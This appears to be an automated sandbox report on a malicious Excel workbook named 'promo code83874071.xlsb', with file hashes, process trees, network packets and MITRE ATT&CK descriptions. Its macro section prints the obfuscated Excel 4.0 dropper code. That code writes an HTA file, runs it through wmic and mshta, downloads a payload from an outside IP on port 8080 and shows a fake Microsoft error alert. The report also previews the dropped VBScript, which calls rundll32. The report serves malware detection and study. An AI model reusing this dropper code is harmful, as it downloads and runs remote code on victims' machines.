Preview:	<!DOCTYPE html>..<html>..<head>..<HTA:APPLICATION ID="CS"..APPLICATIONNAME="ttrgnkrtegjtjgjerg"..WINDOWSTATE="minimize"..MAXIMIZEBUTTON="no"..MINIMIZEBUTTON="no"..CAPTION="no"..SHOWINTASKBAR="no">..<script type="text/vbscript" LANGUAGE="VBScript" >..l_h_V_f_v_n_A_p_a_o = Chr(114+1-1) & "und" & Chr(108+1-1) & "l32" & ".ex" & "e " & Chr(67+1-1) & Chr(58+1-1) & "\\" & "Pro" & "" & "gr" & Chr(97+1-1) & "" & Chr(109+1-1) & "Da" & "ta" & "\ux" & "nig" & "ge" & "r.b" & "in" & " Dl" & Chr(108+1-1) & "Re" & "gis" & Chr(116+1-1) & "" & "erS" & "" & "" & "er" & Chr(118+1-1) & Chr(101+1-1) & Chr(114+1-1)..Set H_y_H_u_M_Z_N_q_s_B_t_f = CreateObject(Chr(77+1-1) & "SX" & "" & "ML2" & "" & ".Se" & "" & "rve" & "rXM" & "" & "" & "LH" & "TTP" & "" & ".6." & Chr(48+1-1))....F_c_M_I_P_M_P = Chr(87+1-1) & Chr(115+1-1) & "" & "" & "cr" & "" & "" & Chr(105+1-1) & "pt" & ".Sh" & Chr(101+1-1) & "ll"..Set x_V_R_c_H_E_A_D = CreateObject(F_c_M_I_P_M_P)..c_B_R_p_U_s_M_Z_S_H_U_o_f_i = LCase(x_V_R_c_H_E_A_D.expanden

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\83AB67A7-816A-439D-B972-9539D466DB6C Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	140183
Entropy (8bit):	5.357952643181742
Encrypted:	false
SSDEEP:	1536:xcQIfgxrBdA3gBwtnQ9DQW+zCA4Ff7nXbovidXiE6LWmE9:DuQ9DQW+zcXfH
MD5:	11C8242FFBB9A3D0262A4CB3A59FF6EB
SHA1:	D17BF9A620459817840F37A19D824F680B85372D
SHA-256:	D64A1108D31B3E45472C5F362C1786651C0CE93D939A1DB7E47C9778F7E844BC
SHA-512:	4B73010945825C114B2678D55E6C15C112903D9A262233FE6FFACDBA17FB9FA0E146F4FBBAE413379364D8B05E82E1C4FF6FA0811179E316E47F5BC72B5C3672
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2021-11-24T16:58:09">.. Build: 16.0.14715.30527-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\C1975964.png Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	PNG image data, 253 x 56, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	2132
Entropy (8bit):	7.843504298247007
Encrypted:	false
SSDEEP:	48:sWXNC7ZlORZ6PY8PUWQSfh7qwP3vCO4aKskuWZnHW5PG:7X07KKPNPzflWRE9G
MD5:	EE8845A94C57D17AD60274843D6352B4
SHA1:	16BF71D674CE3AD0BABBC373784F1551CFF290C0
SHA-256:	87030B4555CA7382C936656D1E9777EEC4A99DE34096CDF4B0CBF71D4B7C0327
SHA-512:	26B1B09A77666292F427D4AFD150C8490C05201E59B2E11002B25897E3D04099206477A3212FFBE7A6278517DA08D7BB83DB5CF24E35754B00E7925A803E1D20
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......8......ri.....IDATx..mP.......,....;((.J,bA.Q..Z.tZg.Z'mRm....5...m....M2.m.j....M.%(JYQ^.0Z.%B@.a...ey....lV\W.k......=.>w..r....r.A..!..'@....{.GH.......!..<B.'x.tO......=.#.{.GH.......!..<B.'x.tO......=.#.{.GH........pc..#...I.....k..9.n..L.fk=.IX....i.w.t.0.~.R..m......zIO.u._p,O.....M-'?b..O+\|...7...Y.tV...ik~.,S..{...n}x...9.....}9.Q.....n6.._M.. ......`........GF............go....1.w.8.....Q...N...l..9m"\... ..AiK....30%.@.....x....xfx.NR..lw..)T>a..t...Q..:....Oz.....2...e.o..y..........9.v.:.g[.=QA..O^.....+..O..?\.v5.5.V...6+.....R...-.9W.....1.&+.f..?..JL.e.....K._1+.....D:.3qH....T.a...._.`l..x~u....W..i...vs.w.0.yMVR..k{_b?N....W..t......~T....\.. ...sP....@U[.c+sm...S..E.c..I.Nq..M...U....R..>....h.j..}.6.i.a}.}}.]..N......5f}7.....E...7..F.e*....f6w~6. ..C]..+7..(/.h.v.._..e/..G._.5pO..........w.5.{.`......H...u.....h.......~..@.......w..kd.Ko..I.Nq..t....+`^...}'......s.Q.P.~2...B.@..tU..&..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\DD116215.png Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	PNG image data, 263 x 339, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	44006
Entropy (8bit):	7.976979311921259
Encrypted:	false
SSDEEP:	768:HPirG+t6Agvu1hp+S+bGDkP7wozsIukTKu/lvL7AbvWFp1m+MNd:HP2CET+S+agP7nA9u9DE2w
MD5:	DA7AC5F9F71DEA76034FD690CFEBFE71
SHA1:	F01154ACFD3B8792E5DB230C7205A4B618D45235
SHA-256:	31B35E7A9BD151A7B1D88CAF5476D761F51030E61E0BC4DCD41684F52385A4ED
SHA-512:	FA86DF5B9A482537FC9E9392F1C65237630B3CDAB2C6E58C160CD0C2C1644720C7B8211EB46FB405D9D9359C960E747A53088F9DE74B4AB4431DE62FA3FD98BA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR.......S.....4..F...JiCCPICC Profile..x..W.TS...[RIh..H...R.K..E....I ...D....]D@].U.E...ZQ...]......l..I.]=...s........{g...I.....y.\|Y\|D.kBj.......Z...x\|...........7..../.(......'.... q.g...<......\|..>Po=#_.. 6...!.q...(q..W.l..9....L..dY.h7C=....y.o@...%..!..x..#!...7M...p...'....C.<^..V..r.X.....?..%/W1...6.H.......F.(%.A.#...X..wb...b.RD&..QS...k.....x.Q..B......32..\...A....D..EByX...F6->v.g.8l....L.Wi.R.............D.).1j.89.bm...(..fS$.........m ..J"B...LYx..^.'...[$.sc4.*_........7..Y(a'.......s..C..c...$M.X.4?$^3..47Nc.S...J......\<0..H5?.#.KT.gd......A4..P....2.4....=M=.z$....d.!p.h.g..F$...._...\|h^.jT.....V.t..........<..r.o.j.d.[2x.5...a...)...&Z.Q..t.-.a.Pb$1.....?.......>..`._..........N...b.7...8..=.kr..:g...z.!x...8.7...h..A.P..D...[....U.5v.W.J.F..8\|;S.I.s.EY.+..5c.....o.s.....Q.Zb..}X.v.;.....;.5c..J<....V..xU<9.G..?....r.z.n..\|a....8.3e.,Q>....B.W..9........;.~M.b.......]q............8........Z..

C:\Users\user\Desktop\~$promo code83874071.xlsb Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.6081032063576088
Encrypted:	false
SSDEEP:	3:RFXI6dtt:RJ1
MD5:	7AB76C81182111AC93ACF915CA8331D5
SHA1:	68B94B5D4C83A6FB415C8026AF61F3F8745E2559
SHA-256:	6A499C020C6F82C54CD991CA52F84558C518CBD310B10623D847D878983A40EF
SHA-512:	A09AB74DE8A70886C22FB628BDB6A2D773D31402D4E721F9EE2F8CCEE23A569342FEECF1B85C1A25183DD370D1DFFFF75317F628F9B3AA363BBB60694F5362C7
Malicious:	true
Preview:	.pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

\Device\ConDrv Download File
Process:	C:\Windows\SysWOW64\wbem\WMIC.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	160
Entropy (8bit):	5.083203110114614
Encrypted:	false
SSDEEP:	3:YwM2FgCKGWMRX1eRHXWXKSovrj4WA3iygK5k3koZ3Pveys1MgnWXeyswFJQAive2:Yw7gJGWMXJXKSOdYiygKkXe/egW9eAin
MD5:	F71A445B2B25B5F344258198713D81FA
SHA1:	19CAD13D48B3A610F17F7FD9666428DAC48C7E50
SHA-256:	719FBF3A2CA062EE3274A3D3308C6C7FD4364FF1267892CFF21D20D05855811E
SHA-512:	3B75DCB4F8969B810C70A06BEEFE56AC75A38107EA291FD2C58AD6576398556DAE1B3C00C644618BAD779EAA7CC08CDC12302607DDBF8A73F235F5B7075D1D38
Malicious:	false
Preview:	Executing (Win32_Process)->Create()...Method execution successful....Out Parameters:..instance of __PARAMETERS..{...ProcessId = 5380;...ReturnValue = 0;..};....

Static File Info

General
File type:	Microsoft Excel 2007+
Entropy (8bit):	7.8656530304107255
TrID:	Excel Microsoft Office Open XML Format document with Macro (51004/1) 36.56% Microsoft Excel Office Binary workbook document (40504/1) 29.03% Excel Microsoft Office Open XML Format document (40004/1) 28.67% ZIP compressed archive (8000/1) 5.73%
File name:	promo code83874071.xlsb
File size:	84285
MD5:	b6c09b88eeb411e648f688e7ca6a1ca9
SHA1:	da6a58fbb01118bf77842f75cb217c3cf33ded2f
SHA256:	cb53bf4394e7f77534ca8bfa1039fc76c50a54be4dce411926dbb594a1a55c52
SHA512:	adb123a059e116faa65717e4c7cd51479750d45457e63642b16dcc82b7b25c18ef5c43e9c54fc35ae5056b243ba1177d01453f0f985f48d6b9a031079a874f00
SSDEEP:	1536:UWLP2CET+S+agP7nA9u9DE23j/iuRPk4OJ2QspRxW+gdFx:V0T1k7TA+jiq1i2QspRk+gdFx
File Content Preview:	PK..........!...l.....W.......[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon


Icon Hash:	74f0d0d2c6d6d0f4

Static OLE Info

General
Document Type:	OpenXML
Number of OLE Files:	1

OLE File "promo code83874071.xlsb"

Indicators
Has Summary Info:
Application Name:
Encrypted Document:
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:

Macro 4.0 Code

0,564,=FOPEN("C:\Program" & CHAR(68) & "ata\Mq" & CHAR(115) & "cK" & CHAR(114) & "fE.rt" & CHAR(102), 3)
1,564,=A119+C1986
3,564,=B9697+C9656
4,564,=A1545+A1514
5,564,=A7302+A1627
6,564,=A1643+D2897
8,564,=A6796+C2237
9,564,=C2398+A2055
11,564,=A9056+C3566
13,564,=B4805+D1059
14,564,=C8951+B4440
15,564,=FOR.CELL("lHiAAPCptvMg",Sheet1!CR162:CR4998, TRUE)
16,564,=B8664+D9799
17,564,=D3541+B7263
19,564,=A248+B3581
20,564,=D1725+D9967
22,564,=C8814+A8633
23,564,=B3769+D171
25,564,=FWRITE(0,CHAR(lHiAAPCptvMg))
27,564,=B5470+C2385
28,564,=A3061+A8921
31,564,=A1799+B6964
34,564,=B4651+C1225
35,564,=C997+B3770
36,564,=NEXT()
37,564,=C3329+C561
38,564,=B1583+A5638
40,564,=D3385+B8800
41,564,=A9622+C6392
42,564,=B6167+D2582
43,564,=D8862+D8540
44,564,=D9501+B417
47,564,=D2699+D2334
50,564,=D6016+D6337
51,564,=EXEC("wmi" & CHAR(99) & " process " & CHAR(99) & "all c" & CHAR(114) & CHAR(101) & CHAR(97) & "te" & CHAR(32) & CHAR(34) & CHAR(109) & "shta " & CHAR(67) & CHAR(58) & "\ProgramData\MqscKrfE.r" & CHAR(116) & "" & CHAR(102) & CHAR(34) & "")
54,564,=C7418+C6093
55,564,=B469+C2484
57,564,=B3751+B8243
60,564,=A3749+C8271
62,564,=B5314+B4037
64,564,=CALL("urlmo" & CHAR(110) & "", "URLDownloadToFile" & CHAR(65),CHAR(74) & "" & CHAR(74) & "" & CHAR(67) & "CJJ", 0, "" & CHAR(104) & "" & CHAR(116) & CHAR(116) & CHAR(112) & CHAR(58) & "//" & CHAR(49) & CHAR(51) & "6.144.181.17" & CHAR(52) & CHAR(58) & "8080/Q2" & CHAR(87) & CHAR(53) & "VWUFL" & CHAR(53) & "VCM" & CHAR(81) & "7JQ" & CHAR(80) & "ETG3CCTYX" & CHAR(55) & "2Z4R25P" & CHAR(68) & CHAR(71), CHAR(67) & ":\P" & CHAR(114) & "ogramD" & CHAR(97) & CHAR(116) & "a\ndLVE" & CHAR(72) & CHAR(85) & "kDB" & CHAR(84) & "Bat.txt",0,0)
67,564,=C3088+A2120
68,564,=A7985+A5936
70,564,=C3892+A3029
71,564,=B4635+B8757
72,564,=D2160+B4504
74,564,=D4057+C3593
75,564,=D2836+B2913
76,564,=B6518+A6144
79,564,=ALERT("Error! Sen" & CHAR(100) & "in" & CHAR(103) & " r" & CHAR(101) & CHAR(112) & "ort " & CHAR(116) & "o Micr" & CHAR(111) & "soft...")
80,564,=B4304+B1646
81,564,=C9459+B2452
84,564,=A5157+C9373
85,564,=A2963+D365
86,564,=C6873+A9635
87,564,=B5800+D6250
89,564,=FOPEN("C:\Program" & CHAR(68) & "at" & CHAR(97) & "" & CHAR(92) & "ndLVEHUkDB" & CHAR(84) & "Bat.t" & CHAR(120) & CHAR(116),1)
92,564,=C6541+C9291
93,564,=D6295+A8642
94,564,=A432+D4240
101,564,=D5709+B4754
102,564,=C480+A3565
103,564,=SEND.MAIL(EVALUATE(FREAD(US90,255)))
105,564,=A364+B7903
107,564,=D6868+B9521
111,564,=B6091+A8910
112,564,=A5150+B630
113,564,=B3884+D3160
115,564,=RETURN()

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2021 17:59:03.786461115 CET	49777	8080	192.168.2.3	136.144.181.174
Nov 24, 2021 17:59:03.814089060 CET	8080	49777	136.144.181.174	192.168.2.3
Nov 24, 2021 17:59:04.317827940 CET	49777	8080	192.168.2.3	136.144.181.174
Nov 24, 2021 17:59:04.345633030 CET	8080	49777	136.144.181.174	192.168.2.3
Nov 24, 2021 17:59:04.849128962 CET	49777	8080	192.168.2.3	136.144.181.174
Nov 24, 2021 17:59:04.876627922 CET	8080	49777	136.144.181.174	192.168.2.3

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 6336 Parent PID: 744

General

Start time:	17:58:07
Start date:	24/11/2021
Path:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0xbf0000
File size:	27110184 bytes
MD5 hash:	5D6638F2C8F8571C593999C58866007E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: WMIC.exe PID: 3876 Parent PID: 6336

General

Start time:	17:59:03
Start date:	24/11/2021
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic process call create "mshta C:\ProgramData\MqscKrfE.rtf"
Imagebase:	0x9e0000
File size:	391680 bytes
MD5 hash:	79A01FCD1C8166C5642F37D1E0FB7BA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 5192 Parent PID: 3876

General

Start time:	17:59:03
Start date:	24/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: mshta.exe PID: 5380 Parent PID: 3040

General

Start time:	17:59:04
Start date:	24/11/2021
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	mshta C:\ProgramData\MqscKrfE.rtf
Imagebase:	0x7ff797780000
File size:	14848 bytes
MD5 hash:	197FC97C6A843BEBB445C1D9C58DCBDB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Windows Analysis Report promo code83874071.xlsb

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Initial Sample

Dropped Files

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

System Summary:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "promo code83874071.xlsb"

Indicators

Macro 4.0 Code

Network Behavior

Network Port Distribution

TCP Packets

Code Manipulations

Statistics

Behavior

System Behavior

Analysis Process: EXCEL.EXE PID: 6336 Parent PID: 744

General

Analysis Process: WMIC.exe PID: 3876 Parent PID: 6336

General

Analysis Process: conhost.exe PID: 5192 Parent PID: 3876

General

Analysis Process: mshta.exe PID: 5380 Parent PID: 3040

General

Disassembly